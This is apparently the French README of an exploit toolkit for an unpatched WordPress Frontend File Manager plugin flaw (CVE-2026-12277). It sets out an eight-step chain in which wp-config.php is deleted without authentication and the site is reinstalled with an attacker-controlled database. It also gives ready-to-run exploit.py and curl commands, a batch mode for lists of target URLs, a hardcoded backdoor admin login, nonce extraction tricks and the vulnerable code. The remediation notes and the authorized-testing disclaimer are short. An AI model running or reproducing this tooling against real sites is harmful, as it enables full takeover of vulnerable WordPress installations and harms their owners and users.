
Frontend File Manager Plugin (WordPress) <= 23.6 - Suppression arbitraire de fichiers sans authentification menant à une exécution de code à distance (RCE)
| Champ | Valeur |
|---|
| CVE | CVE-2026-12277 |
| Plugin | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| Versions affectées | <= 23.6 |
| Type | Suppression arbitraire de fichiers non authentifiée |
| CVSS | 8.7 (ÉLEVÉ) |
| CWE | CWE-73 (Contrôle externe du nom ou du chemin de fichier) |
| Prérequis | Mode d'upload invité activé |
| Correctif | Aucun (en date de juillet 2026) |
| Chercheur | Chamseddine Bouzaiene |
Le plugin stocke les chemins des fichiers téléversés dans les métadonnées de publication (wpfm_dir_path). Le point de terminaison AJAX wpfm_file_meta_update :
files.php)nopriv (accessible sans authentification)unset($_REQUEST['wpfm_dir_path']) peut être contournée via les particularités de request_order de PHP (envoi via la chaîne de requête)Lorsque wpfm_delete_file est appelé, il lit wpfm_dir_path depuis les métadonnées de publication et appelle unlink() sans aucune validation de chemin.
| Action AJAX | Nonce requis | Authentification requise | nopriv |
|---|---|---|---|
wpfm_file_meta_update | NON (commenté) | Non | Oui (toujours) |
wpfm_delete_file | Oui | Non | Oui (toujours) |
wpfm_upload_file | Oui | Non | Oui (si l'upload invité est activé) |
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover
| Fichier | Description |
|---|---|
exploit.py | Exploit Python complet (détection → exploitation → prise de contrôle) |
poc_curl.sh | PoC Bash/curl (Linux) |
poc_curl.ps1 | PoC PowerShell/curl (Windows) |
lists.txt | URL cibles (une par ligne, pour le mode batch) |
requirements.txt | Dépendances Python |
# Install dependencies
pip install -r requirements.txt
# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Detection only
python exploit.py -u http://target.com --detect-only
# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Custom attacker DB config
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
Après le succès de l'exploit, connectez-vous à l'administration WordPress :
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| Argument | Requis | Description |
|---|---|---|
-u, --url | Oui | URL WordPress cible |
-p, --path | Non | Chemin absolu vers wp-config.php sur le serveur |
--nonce | Non | Nonce AJAX (ignorer l'extraction automatique) |
--dbname | Non | Nom de la base de données de l'attaquant (défaut : wp_pwned) |
--dbuser | Non | Utilisateur de la base de données de l'attaquant (défaut : root) |
--dbpass | Non | Mot de passe de la base de données de l'attaquant |
--dbhost | Non | Hôte de la base de données de l'attaquant (défaut : localhost) |
--proxy | Non | Proxy HTTP (par ex., http://127.0.0.1:8080) |
--timeout | Non | Délai d'expiration des requêtes en secondes (défaut : 15) |
--detect-only | Non | Détecter uniquement la vulnérabilité, ne pas exploiter |
L'exploit recherche automatiquement wpfm_ajax_nonce dans :
/file-manager/, /upload/, /files/, /file-upload/, etc./file-manager.php/wp-json/)Le nonce apparaît comme un champ de saisie masqué :
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
Ou dans le JavaScript localisé :
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
Le code exécute unset($_REQUEST['wpfm_dir_path']) pour empêcher l'écrasement direct. Le contournement :
wpfm_dir_path via un paramètre de requête d'URL tandis que les autres données passent par le corps POST. Le comportement de fusion de $_REQUEST de PHP permet à la valeur de persister selon la configuration de request_order.wpfm_dir_path est définie lors des hooks initiaux de téléversement de fichier. Si elle est exploitée à ce stade, aucun contournement n'est nécessaire.| Composant | Version |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| Plugin | Frontend File Manager 23.6 |
| Système d'exploitation | Windows (XAMPP) / Linux |
| Résultat | Prise de contrôle totale confirmée |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION
if (file_exists($file_path)) {
unlink($file_path); // ARBITRARY FILE DELETION
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NO canonicalization, NO realpath check
}
wpfm_file_meta_updatewpfm_dir_path par rapport au répertoire d'upload en utilisant realpath() + vérification du préfixeCet outil est fourni uniquement à des fins de tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation écrite avant de tester.